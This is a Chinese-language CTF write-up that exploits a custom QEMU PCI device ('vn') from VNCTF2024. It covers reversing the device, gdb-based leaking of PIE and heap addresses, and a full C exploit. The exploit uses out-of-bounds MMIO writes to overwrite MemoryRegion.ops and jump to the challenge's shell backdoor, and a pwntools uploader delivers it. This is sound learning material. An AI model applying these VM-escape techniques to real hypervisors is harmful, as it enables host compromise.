从 VNCTF2024 的一道题学习QEMU Escape

说在前面

本文的草稿是边打边学边写出来的，文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似，在分析结束以后我又在部分比较模糊的地方加入了一些补充，因此阅读起来可能会相对轻松（当然也不排除这是我自以为是）

题目 github 仓库

[1] 题目分析流程

[1-1] 启动文件分析

读 Dockerfile，了解到它在搭起环境以后启动了start.sh，

再读 start.sh，了解到它启动了 xinetd 程序

再读 xinetd，这个程序的主要作用是监听指定 port，并根据预先定义好的配置来启动相应服务。可以看到 server_args 处启动了 run.sh

再读 run.sh，发现它用 QEMU 起了一个程序，通过 -device vn 我们可以知道 vn 是作为 QEMU 中的一个 pci设备 存在的。

通过 IDA 查找字符串 vn_ 可以找到 vn_instance_init，跟进调用 字符串vn_instance_init 的 函数vn_instance_init，再按 x 查看 函数vn_instance_init 的引用，可以看到下面还有一个 vn_class_init ，反汇编后看到

__int64 __fastcall vn_class_init(__int64 a1)
{
  __int64 result; // rax

  result = PCI_DEVICE_CLASS_23(a1);
  *(_QWORD *)(result + 176) = pci_vn_realize;
  *(_QWORD *)(result + 184) = 0LL;
  *(_WORD *)(result + 208) = 0x1234; // 厂商ID (Vendor ID)
  *(_WORD *)(result + 210) = 0x2024; // 设备ID (Device ID)
  *(_BYTE *)(result + 212) = 0x10;
  *(_WORD *)(result + 214) = 0xFF;
  return result;
}

通过厂商ID和设备ID，我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024 就是我们要找的 vn

/sys/devices/pci0000:00/0000:00:04.0 # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

进而去/sys/devices/pci0000:00/0000:00:04.0 目录查看该设备 mmio 与 pmio 的注册情况

/sys/devices/pci0000:00/0000:00:04.0 # ls -al
...
...
-r--r--r--    1 0        0             4096 Feb 18 12:18 resource
-rw-------    1 0        0             4096 Feb 18 12:18 resource0
...
...

有了 resource0 这个文件，我们就可以在exp里 mmap 做虚拟地址映射。

并且我们可以看到 vn 这个设备只注册了 mmio，那就考虑用 mmio攻击（点击这里了解 mmio 运行原理）

[1-2] 静态分析

如果我写的不够清楚，读者可以参考 blizzardCTF 里的 strng这一实现，读完这段代码会对 pci 设备的了解提升一个台阶。

我们先补充一些概念：

QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用，而 -device 参数为 kernel 提供了模拟的 pci 设备。

如果 kernel 实现了类似 linux 的 rootfs，我们就可以通过 lspci 来查看相关 pci，并在/sys/devices/...找到 pci 设备启动时 kernel 分配给 pci 的资源，也就是 resource0 等，这也是前文提到过的。

resource0 可以看作是一大片开关，当我们修改 resource0 中的内容时，可以看做对应开关被启动，pci设备也随着开关的启动而变化，具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”

所以我们可以 open resource0 这个文件，用 mmap 映射它，从而使我们能够在C代码中对 resource0 这片内存进行修改

可是由于 QEMU 也只不过是一个程序，虚拟的 pci 设备意味着，一定有一片内存存储着 pci 相关的数据

关于 pci 存储数据的这一部分好像就涉及 QOM 了，还没太搞懂，总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关

假设我们的调用链是这样的: 
docker -> QEMU -> exp

则 docker 会让 QEMU 误以为自己占据全部内存空间，QEMU 会让 exp 认为自己占据全部内存空间

而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上，我们在程序 exp 中读写 resource0，就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区，如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针，就可以劫持控制流。

那么，接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编，了解怎样读写堆区内容。

由于对 QEMU 不是很熟悉，我只能瞎命名，vn_mmio_write 的大体逻辑是

• object_dynamic_cast_assert是动态类型转换，我OOP学的很烂所以不清楚这是什么😭，猜测是申请一块堆的地址然后用 ptr 指向这块地址

• ①如果 op == 0x30 且 ptr[737] == 0

  • ptr[ ptr[736]/8 + 720 ] = var，并将 ptr[737] 设置为1

• ②如果 op == 0x10 且 var < 0x3C

  • ptr[736] = var
  • 这里可以用负数来上溢，从而可以读很大一片空间的内容

• ③如果 op == 0x20 且 var 的高32位 < 0x3C

  • ptr[ HIDWORD(var) + 720 ] = (LODWORD)var

同理 vn_mmio_read 也可以分析出来。

下面是我调试代码时画的草图，读者可以等看完“[2] 动态调试”部分以后再回来看这张图，个人认为这样的图对理解程序非常有帮助。

通过分析我们可以得知，vn_mmio_write可以实现一些越界写，同理分析 vn_mmio_read 我们可以得知，令可以实现一些越界读，根据反汇编我们可以定制一下这道题的 mmio_read

void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint64_t*)(mmio_base + addr)) = value;
}

uint32_t mmio_read(uint64_t addr)
{
    return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
    uint64_t val = value + (idx << 32);
    mmio_write(0x20,val);
}

通过 Shift + F12 查/bin/sh可以跟进到这道题的后门函数0x67429B，我们需要跳转到这里去执行execv("/bin/sh");

现在我们知道了怎样读写堆区，也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion，而且 QEMU 会启动 pie，我们需要绕过 pie 才能利用后门函数。

所以我们就先读一些内容，看看附近有没有什么能利用的东西。

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[2] 动态调试

接下来我们需要用 docker 调试 qemu，这里记录一下

# 注: 如果已经提前 docker-compose 好了，则可以直接通过 docker cp 来修改内部文件
docker cp /path/to/file container_name:/whatever/path/you/want/to/file

# 首先将 exp.c 静态编译为二进制文件
gcc exp.c --static -o exp

# 然后解包 rootfs.cpio，参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分
hen rootfs.cpio

# 将 exp 放入 /core/usr/bin 中

# 重新打包 roortfs.cpio
gen rootfs.cpio

# 修改 run.sh 
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 \
#     -L ./pc-bios \
#     -m 128M \
#     -append "tsc=unstable console=ttyS0" \
#     -kernel bzImage \
#     -initrd rootfs.cpio \
#     -device vn \
#     -nographic \
#     -no-reboot \
#     -monitor /dev/null \

# 修改 Dockerfile，在创建容器时安装 qemu-system-x86 gdb，这一步其实在 容器的shell里也能install，可以跳过
vim Dockerfile # 下面内容只是 RUN 部分，其他部分不动
# RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
#     apt-get update && apt-get -y dist-upgrade && \
#     apt-get install -y lib32z1 xinetd \
#                        libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \
#                        libfdt-dev libnuma-dev libglib2.0-dev \
#                        libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb

# build 与 启动容器
docker-compose build
docker start vnctf

# 启动tmux，分页记为 pane1 和 pane2
# pane1:
docker exec -ti vnctf /bin/bash

# pane2:
docker exec -ti vnctf /bin/bash

# pane1:
./run.sh # 这里运行以后应该是什么也不会出现

# pane2:
ps -ax | grep "qemu-system-x86_64 -L" # 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c     # 输入完以后看一眼 pane1，如果qemu启动了就等qemu启动
            # 如果没启动就继续输入 (gdb) c

# pane1:
# 此时 QEMU 正常运行，我们可以在里面输入一些命令比如ls等查看
cd /usr/bin # 这里是前面解包后的时候 exp 放入的文件夹
./exp

# pane2:
# 此时就可以开始调试了

现在程序正常运行了，我们开始查看读出来的东西有没有什么是能利用的

int main(int argc, char const *argv[])
{
    uint32_t catflag_addr = 0x6E65F9;

    getMMIOBase();
    printf("mmio_base Resource0Base: %p\n", mmio_base);
    
    uint64_t test_low,test_high,test;
    for(int i=-1;i>=-30;i--) {
        mmio_write(0x10, i*0x8);
        test_low = mmio_read(0x20);
        mmio_write(0x10, i*0x8 + 0x4);
        test_high = mmio_read(0x20);
        test = test_low + (test_high << 32);
        printf("test%d = 0x%llx\n", -i, test);
        getchar();
    }
}

/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 = 0x0
test2 = 0x0
test3 = 0x0
test4 = 0x0
test5 = 0x55da28130f00
test6 = 0x55da2812ef78
test7 = 0x0
test8 = 0x55da271feb98
test9 = 0x55da27e4f820
test10 = 0x55da2812ef58
test11 = 0x0
test12 = 0x1
test13 = 0x0
test14 = 0x0
test15 = 0x10001
test16 = 0x0
test17 = 0x55da256a335b // -> memory_region_destructor_none
test18 = 0xfebf1000
test19 = 0x0
test20 = 0x1000
test21 = 0x0
test22 = 0x55da271feae0
test23 = 0x55da2812e470
test24 = 0x55da25dd01e0 // -> vn_mmio_ops
test25 = 0x55da2812e470
test26 = 0x55da2812e470
test27 = 0x0
*/

我们逐个地址 x/2gx 一下，最终发现这几个比较有意思的地方

PIE

(gdb) x/2gx 0x55da256a335b
0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3      0xf3c35d90f87d8948

我们在 IDA 中是能搜到这个函数的，它在 QEMU 里的偏移量是 0x82B35B，通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了

heap & MemoryRegion

(gdb) x/2gx 0x55da25dd01e0
0x55da25dd01e0 <vn_mmio_ops>:   0x000055da252d3458      0x000055da252d3502

我们找到了需要的 ops，test24 存的就是 0x55da25dd01e0

所以我们有如下对应关系：

ptr[-24 + 720] -> 0x55da25dd01e0

那很自然的我们就想到，ptr的其他地方存着什么？这附近是不是就是 MemoryRegion？可是我们并没有 (&ptr[-24 + 720])，但我们知道的是 MemoryRegion 存在堆里，所以我们考虑用 find 命令查找（看起来像堆地址的）堆地址附近查找 0x55da25dd01e0 这个值就行

最终我们用到的是 test23 -> 0x55da2812e470

// 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470, 0x55da2812e470+0x1000, 0x55da25dd01e0
0x55da2812eef0
1 pattern found.

因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0

观察发现这个地址跟我们的 test10 非常近，可以计算一下

(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 = 104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 =  0x55da2812ef58 - 0x68 = test10 - 0x68

而我们打印一下更多附近的值，可以看到

(gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60
0x55da2812eea0: 0x000055da271f1840      0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00      0x0000000000000001
0x55da2812eec0: 0x000055da2812e470      0x0000000000000001
0x55da2812eed0: 0x0000000000000000      0x0000000000000000
0x55da2812eee0: 0x000055da2812e470      0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0      0x000055da2812e470 <- test 24 | 23
0x55da2812ef00: 0x000055da271feae0      0x0000000000000000
0x55da2812ef10: 0x0000000000001000      0x0000000000000000
0x55da2812ef20: 0x00000000febf1000      0x000055da256a335b <- test 18 | 17
0x55da2812ef30: 0x0000000000000000      0x0000000000010001
0x55da2812ef40: 0x0000000000000000      0x0000000000000000
0x55da2812ef50: 0x0000000000000001      0x0000000000000000
0x55da2812ef60: 0x000055da2812ef58      0x000055da27e4f820
0x55da2812ef70: 0x000055da271feb98      0x0000000000000000
0x55da2812ef80: 0x000055da2812ef78      0x000055da28130f00
0x55da2812ef90: 0x0000000000000000      0x0000000000000000
0x55da2812efa0: 0x0000000000000000      0x0000000000000000
0x55da2812efb0: 0x0000000000000000      0x0000000000000000 <- test 0 | -1
0x55da2812efc0: 0x0000000000000000      0x0000000000000000
0x55da2812efd0: 0x0000000000000000      0x0000000000000000
0x55da2812efe0: 0x0000000000000000      0x0000000000000000
0x55da2812eff0: 0x00000000ffffff2c      0x0000000000000000
0x55da2812f000: 0x0000000000000000      0x0000000000000061
0x55da2812f010: 0x000055da2812d3c0      0x000055da273b01d0
0x55da2812f020: 0x0000000000000000      0x000055da25725d5f
0x55da2812f030: 0x0000000000000000      0x000055da25725de1

我们回到 ctf-wiki-QEMU 里查看一下 MemoryRegion

struct MemoryRegion {
    Object parent_obj;

    /* private: */

    /* The following fields should fit in a cache line */
    bool romd_mode;
    bool ram;
    bool subpage;
    bool readonly; /* For RAM regions */
    bool nonvolatile;
    bool rom_device;
    bool flush_coalesced_mmio;
    bool global_locking;
    uint8_t dirty_log_mask;
    bool is_iommu;
    RAMBlock *ram_block;
    Object *owner;

    const MemoryRegionOps *ops;
    void *opaque;
    MemoryRegion *container;    // 指向父 MemoryRegion
    Int128 size;    // 内存区域大小
    hwaddr addr;    // 在父 MR 中的偏移量
    void (*destructor)(MemoryRegion *mr);
    uint64_t align;
    bool terminates;
    bool ram_device;
    bool enabled;
    bool warning_printed; /* For reservations */
    uint8_t vga_logging_count;
    MemoryRegion *alias;    // 仅在 alias MR 中，指向实际的 MR
    hwaddr alias_offset;
    int32_t priority;
    QTAILQ_HEAD(, MemoryRegion) subregions;
    QTAILQ_ENTRY(MemoryRegion) subregions_link;
    QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
    const char *name;
    unsigned ioeventfd_nb;
    MemoryRegionIoeventfd *ioeventfds;
};

假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;

0x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops
0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque
0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container
0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 这里不知道是什么😭
0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size
0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr
0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 -> test0 
0x55da2812efb0: 0x0000000000000000 -> 可以看到这里有一大片'\x00'
0x55da2812efb8: 0x0000000000000000 -> 我们可以把控制流劫持的指针
0x55da2812efc0: 0x0000000000000000 -> 放在这一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000

我们可以看到这就是 MemoryRegion，当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8)，我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数

所以我们考虑这样的布置：

0x55da2812eef0(&test24)   -> 0x55da2812efd8
0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B

[3] 完整 EXP

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)


char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* mmio_base;

unsigned char* getMMIOBase(){

    int fd;
    if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
        perror("open pci device");
        exit(-1);
    }
    mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
    if(mmio_base == (void *) -1) {
        perror("mmap");
        exit(-1);
    }
    return mmio_base;
}

void mmio_write(uint64_t addr, uint64_t value)
{
    *((uint64_t*)(mmio_base + addr)) = value;
}

uint32_t mmio_read(uint64_t addr)
{
    return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
    uint64_t val = value + (idx << 32);
    mmio_write(0x20,val);
}

int main(int argc, char const *argv[])
{
    uint32_t catflag_addr = 0x6E65F9;

    getMMIOBase();
    printf("mmio_base Resource0Base: %p\n", mmio_base);
    
    mmio_write(0x10, -17*0x8);
    uint64_t pie_low = mmio_read(0x20);
    mmio_write(0x10, -17*0x8 + 0x4);
    uint64_t pie_high = mmio_read(0x20);
    uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;
    printf("pie = 0x%llx\n", pie);
    getchar();
    mmio_write(0x10, -10*0x8);
    uint64_t heap_low = mmio_read(0x20);
    mmio_write(0x10, -10*0x8 + 0x4);
    uint64_t heap_high = mmio_read(0x20);
    uint64_t heap = heap_low + (heap_high << 32);
    printf("heap = 0x%llx\n", heap);
    uint64_t backdoor = pie + 0x67429B;
    uint64_t system_plt_addr = heap + 0x60 + 8;
    uint64_t cmdaddr = heap + 0x58 + 8;
    getchar();
    mmio_write_idx(8,0x20746163);
    mmio_write_idx(12,0x67616C66);
    mmio_write_idx(16,backdoor & 0xffffffff);
    mmio_write_idx(20,backdoor >> 32);
    mmio_write_idx(24,system_plt_addr & 0xffffffff);
    mmio_write_idx(28,system_plt_addr >> 32);
    mmio_write_idx(32,cmdaddr & 0xffffffff);
    mmio_write_idx(36,cmdaddr >> 32);
    getchar();
    for(int i = 40;i <= 60 ;i += 4 )
    {
        mmio_write_idx(i,0);
    }
    getchar();
    mmio_write(0x10,-0xc0);
    getchar();
    mmio_write(0x30,system_plt_addr);
    getchar();
    mmio_read(0);
    return 0;
}

[4] exp.c 如何食用？

# exp.py
from pwn import *
import time, os
context.log_level = "debug"

p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

p.sendline()
p.recvuntil("~ #")
p.sendline("echo '' > b64_exp;")

count = 1
while True:
    print('now line: ' + str(count))
    line = f.readline().replace("\n","")
    if len(line)<=0:
        break
    cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
    p.sendline(cmd) # send lines
    #time.sleep(0.02)
    #p.recv()
    p.recvuntil("~ #")
    count += 1
f.close()

p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
p.interactive()

[5] 结语

本来以为 QEMU 是我走向内核态的第一步，但当我用 gdb 把它调起来的时候才发现，QEMU 也只是操作系统上的一个程序，跟我们平时打的用户态区别不大，也是 leak 然后劫持控制流去 getshell

但虚拟化和QEMU知识的缺失也让我“架空学习”，勿以浮沙筑高台，有时间还是要回过头来把基础筑牢的，现在对这道题理解的抽象程度还是太高了，应该继续打开它、研究它。

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